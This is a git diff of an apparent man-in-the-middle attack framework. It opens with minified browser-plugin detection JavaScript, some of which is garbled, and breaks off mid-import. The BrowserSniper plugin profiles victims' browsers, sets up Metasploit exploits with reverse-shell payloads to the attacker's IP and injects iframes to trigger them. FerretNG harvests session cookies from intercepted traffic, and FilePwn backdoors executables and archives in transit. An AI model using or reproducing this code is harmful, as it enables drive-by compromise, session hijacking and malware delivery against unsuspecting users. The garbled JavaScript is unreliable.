q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return t}t.detected=-1;v=PluginDetect.getAXO(t.progID_dummy);if(!v){w=PluginDetect.errObj}for(p=0;p0||w?1:(q==-0.1||q==-0.5?-0.5:-1);if(w){y.version=w}if(t){y.precision=t}return y}},doc2:{detected:0,version:null,precision:0,classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",mimeType:"application/pdf",HTML:0,count:0,count2:0,time2:0,intervalLength:50,maxCount:150,isDisabled:function(){var r=this,v=c,u=v.axo,p=v.nav,x=v.doc,w,t,q=0,s;if(r.HTML){q=2}else{if(PluginDetect.dbug){}else{if(!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){q=2}else{w=(p?p.version:0)||(u?u.version:0)||(x?x.version:0)||0;t=(p?p.precision:0)||(u?u.precision:0)||(x?x.precision:0)||0;if(!w||!t||t>2||PluginDetect.compareNums(PluginDetect.formatNum(w),PluginDetect.formatNum("11"))<0){q=2}}}}if(q<2){s=PluginDetect.file.getValid(v);if(!s||!s.full){q=1}}return q},handlerSet:0,onMessage:function(){var p=this;return function(q){if(p.version){return}p.detected=1;if(PluginDetect.isArray(q)){q=q[0]}q=PluginDetect.getNum(q+"");if(q){if(!(/[.,_]/).test(q)){q+="."}q+="00000";if((/^(\d+)[.,_](\d)(\d\d)(\d\d)/).test(q)){q=RegExp.$1+","+RegExp.$2+","+RegExp.$3+","+RegExp.$4}p.version=PluginDetect.formatNum(q);p.precision=3;c.setPluginStatus()}}},isDefinedMsgHandler:function(q,r){try{return q?q.messageHandler!==r:0}catch(p){}return 1},queryObject:function(){var r=this,s=r.HTML,q=s?s.obj():0;if(!q){return}if(!r.handlerSet&&r.isDefinedMsgHandler(q)){try{q.messageHandler={onMessage:r.onMessage()}}catch(p){}r.handlerSet=1;r.count2=r.count;r.time2=(new Date()).getTime()}if(!r.detected){if(r.count>3&&!r.handlerSet){r.detected=-1}else{if(r.time2&&r.count-r.count2>=r.maxCount&&(new Date()).getTime()-r.time2>=r.intervalLength*r.maxCount){r.detected=-0.5}}}if(r.detected){if(r.detected!=-1){}}},insertHTMLQuery:function(){var u=this,p=c,r=PluginDetect.DOM.altHTML,q,s,t=0;if(u.isDisabled()){return u}if(p.OTF<2){p.OTF=2}q=PluginDetect.file.getValid(p).full;s=PluginDetect.DOM.iframe.insert(0,"Adobe Reader");PluginDetect.DOM.iframe.write(s,'""" - - return payload + plugindetect = open("./core/javascript/plugindetect.js", 'r').read() + return '' diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py new file mode 100644 index 0000000..0d356a8 --- /dev/null +++ b/plugins/BrowserSniper.py @@ -0,0 +1,222 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import sys +import logging + +from time import sleep +from core.msfrpc import Msfrpc +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.BrowserProfiler import BrowserProfiler + +mitmf_logger = logging.getLogger("mitmf") + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + has_opts = False + + def initialize(self, options): + self.options = options + self.msfip = SystemConfig.getIP(options.interface) + self.sploited_ips = list() #store ip of pwned or not vulnerable clients so we don't re-exploit + + msfcfg = self.config['MITMf']['Metasploit'] + self.rpcip = msfcfg['rpcip'] + self.rpcpass = msfcfg['rpcpass'] + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + try: + self.msf = Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary + self.msf.login('msf', self.rpcpass) + version = self.msf.call('core.version')['version'] + self.tree_info.append("Connected to Metasploit v{}".format(version)) + except Exception: + sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and it's MSGRPC server") + + def startThread(self, options): + self.snipe() + + def onConfigChange(self): + self.initialize(self.options) + + def _genRandURL(self): #generates a random url for our exploits (urls are generated with a / at the beginning) + return "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + + def _getRandPort(self): + return random.randint(1000, 65535) + + def _setupExploit(self, exploit, msfport): + + rand_url = self._genRandURL() + rand_port = self._getRandPort() + #generate the command string to send to the virtual console + #new line character very important as it simulates a user pressing enter + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + #Create a virtual console + console_id = self.msf.call('console.create')['id'] + + #write the cmd to the newly created console + self.msf.call('console.write', [console_id, cmd]) + + return (rand_url, rand_port) + + def _compat_system(self, os_config, brw_config): + os = self.output['useragent'][0].lower() + browser = self.output['useragent'][1].lower() + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = list() + vic_ip = self.output['ip'] + + #First get the client's info + java = None + if (self.output['java_installed'] == '1') and (self.output['java_version'] != 'null'): + java = self.output['java_version'] + + flash = None + if (self.output['flash_installed'] == '1') and (self.output['flash_version'] != 'null'): + flash = self.output['flash_version'] + + mitmf_logger.debug("{} [BrowserSniper] Java installed: {} | Flash installed: {}".format(vic_ip, java, flash)) + + for exploit, details in self.config['BrowserSniper'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + mitmf_logger.debug("{} [BrowserSniper] Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, inject_payload): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + mitmf_logger.info("{} [BrowserSniper] Now injecting iframe to trigger exploits".format(ip)) + self.html_payload = inject_payload #temporarily changes the code that the Browserprofiler plugin injects + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + #probably a much cleaner way of doing this :/ + mitmf_logger.info('{} [BrowserSniper] Waiting for ze shellz, sit back and relax...'.format(ip)) + exit_loop = False + poll_n = 1 + while poll_n <= 30: + + if exit_loop is True: + break + + sessions = self.msf.call('session.list') + if sessions: + for k, v in sessions.iteritems(): + if ip in sessions[k]['tunnel_peer']: + mitmf_logger.info("{} [BrowserSniper] Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject blacklist since box has been popped + exit_loop = True + break + + poll_n += 1 + sleep(2) + + if exit_loop is False: #We didn't get a shell :( + mitmf_logger.info("{} [BrowserSniper] Session not established after 60 seconds".format(ip)) + + self.html_payload = self.get_payload() # restart the BrowserProfiler plugin + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + msfport = self.config['MITMf']['Metasploit']['msfport'] + exploits = self.getExploits() + + if not exploits: + if vic_ip not in self.sploited_ips: + mitmf_logger.info('{} [BrowserSniper] Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + mitmf_logger.info("{} [BrowserSniper] Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + inject_payload = '' + + for exploit in exploits: + + jobs = self.msf.call('job.list') #get running jobs + if jobs: + for pid, name in jobs.iteritems(): + info = self.msf.call('job.info', [pid]) + if (exploit in info['name']): + mitmf_logger.info('{} [BrowserSniper] {} already started'.format(vic_ip, exploit)) + url = info['uripath'] #get the url assigned to the exploit + inject_payload += "".format(self.msfip, msfport, url) + else: + url, port = self._setupExploit(exploit, msfport) + inject_payload += "".format(self.msfip, port, url) + else: + url, port = self._setupExploit(exploit, msfport) + inject_payload += "".format(self.msfip, port, url) + + self.injectAndPoll(vic_ip, inject_payload) + + sleep(1) diff --git a/plugins/FerretNG.py b/plugins/FerretNG.py index 9512e62..612dcbf 100644 --- a/plugins/FerretNG.py +++ b/plugins/FerretNG.py @@ -20,20 +20,20 @@ import logging +from datetime import datetime from plugins.plugin import Plugin from twisted.internet import reactor from twisted.web import http from twisted.internet import reactor -from core.ferretNG.FerretProxy import FerretProxy -from core.ferretNG.URLMonitor import URLMonitor +from core.ferretng.FerretProxy import FerretProxy +from core.ferretng.URLMonitor import URLMonitor mitmf_logger = logging.getLogger("mitmf") class FerretNG(Plugin): name = "Ferret-NG" - optname = "ferret" + optname = "ferretng" desc = "Captures cookies and starts a proxy that will feed them to connected clients" - tree_output = list() version = "0.1" has_opts = True @@ -42,14 +42,16 @@ class FerretNG(Plugin): self.options = options self.ferret_port = 10010 or options.ferret_port - self.tree_output.append("Listening on port {}".format(self.ferret_port)) + self.tree_info.append("Listening on port {}".format(self.ferret_port)) def clientRequest(self, request): if 'cookie' in request.headers: host = request.headers['host'] cookie = request.headers['cookie'] - mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(request.client.getClientIP(), host, cookie)) - URLMonitor.getInstance().cookies[host] = cookie + client = request.client.getClientIP() + if host not in URLMonitor.getInstance().cookies: + mitmf_logger.info("{} [Ferret-NG] Host: {} Captured cookie: {}".format(client, host, cookie)) + URLMonitor.getInstance().cookies[client] = {'host': host, 'cookie': cookie} def pluginReactor(self, StrippingProxy): FerretFactory = http.HTTPFactory(timeout=10) @@ -57,4 +59,11 @@ class FerretNG(Plugin): reactor.listenTCP(self.ferret_port, FerretFactory) def pluginOptions(self, options): - options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG on (default 10010)') + options.add_argument('--port', dest='ferret_port', metavar='PORT', type=int, default=None, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, default=None, help='Load cookies from log file') + + def finish(self): + mitmf_logger.info("[Ferret-NG] Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s"))) as cookie_file: + cookie_file.write(URLMonitor.getInstance().cookies) + cookie_file.close() \ No newline at end of file diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 54bf08a..54ccad6 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -61,6 +61,7 @@ import logging import shutil import random import string +import threading import tarfile import multiprocessing @@ -78,8 +79,7 @@ class FilePwn(Plugin): name = "FilePwn" optname = "filepwn" desc = "Backdoor executables being sent over http using bdfactory" - implements = ["handleResponse"] - tree_output = ["BDFProxy v0.3.2 online"] + tree_info = ["BDFProxy v0.3.2 online"] version = "0.3" has_opts = False @@ -134,17 +134,23 @@ class FilePwn(Plugin): msf = Msfrpc({"host": rpcip}) #create an instance of msfrpc libarary msf.login('msf', rpcpass) version = msf.call('core.version')['version'] - self.tree_output.append("Connected to Metasploit v{}".format(version)) + self.tree_info.append("Connected to Metasploit v{}".format(version)) + + t = threading.Thread(name='setupMSF', target=self.setupMSF, args=(msf,)) + t.setDaemon(True) + t.start() except Exception: sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") + + def setupMSF(self, msf): - self.tree_output.append("Setting up Metasploit payload handlers") jobs = msf.call('job.list') for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: cmd = "use exploit/multi/handler\n" cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) cmd += "set LHOST {}\n".format(config["HOST"]) cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "set ExitOnSession False\n" cmd += "exploit -j\n" if jobs: @@ -589,46 +595,46 @@ class FilePwn(Plugin): self.patched.put(tempZipFile) return - def handleResponse(self, request, data): + def serverResponse(self, response, request, data): - content_header = request.client.headers['Content-Type'] - client_ip = request.client.getClientIP() + content_header = response.headers['Content-Type'] + client_ip = response.getClientIP() if content_header in self.zipMimeTypes: if self.bytes_have_format(data, 'zip'): - mitmf_logger.info("{} Detected supported zip file type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported zip file type!".format(client_ip)) process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) process.daemon = True process.start() - process.join() + #process.join() bd_zip = self.patched.get() if bd_zip: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_zip} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_zip} else: for tartype in ['gz','bz','tar']: if self.bytes_have_format(data, tartype): - mitmf_logger.info("{} Detected supported tar file type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported tar file type!".format(client_ip)) process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) process.daemon = True process.start() - process.join() + #process.join() bd_tar = self.patched.get() if bd_tar: - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_tar} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_tar} elif content_header in self.binaryMimeTypes: for bintype in ['pe','elf','fatfile','machox64','machox86']: if self.bytes_have_format(data, bintype): - mitmf_logger.info("{} Detected supported binary type!".format(client_ip)) + mitmf_logger.info("[FilePwn] {} Detected supported binary type ({})!".format(client_ip, bintype)) fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) @@ -636,15 +642,14 @@ class FilePwn(Plugin): process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) process.daemon = True process.start() - process.join() + #process.join() patchb = self.patched.get() if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) - mitmf_logger.info("{} Patching complete, forwarding to client".format(client_ip)) - return {'request': request, 'data': bd_binary} + mitmf_logger.info("[FilePwn] {} Patching complete, forwarding to client".format(client_ip)) + return {'response': response, 'request': request, 'data': bd_binary} - else: - mitmf_logger.debug("{} File is not of supported Content-Type: {}".format(client_ip, content_header)) - return {'request': request, 'data': data} \ No newline at end of file + mitmf_logger.debug("[FilePwn] {} File is not of supported Content-Type: {}".format(client_ip, content_header)) + return {'response': response, 'request': request, 'data': data} \ No newline at end of file diff --git a/plugins/Inject.py b/plugins/Inject.py index f448b2b..d86b5ef 100644 --- a/plugins/Inject.py +++ b/plugins/Inject.py @@ -27,46 +27,45 @@ import argparse from core.utils import SystemConfig from plugins.plugin import Plugin from plugins.CacheKill import CacheKill -from 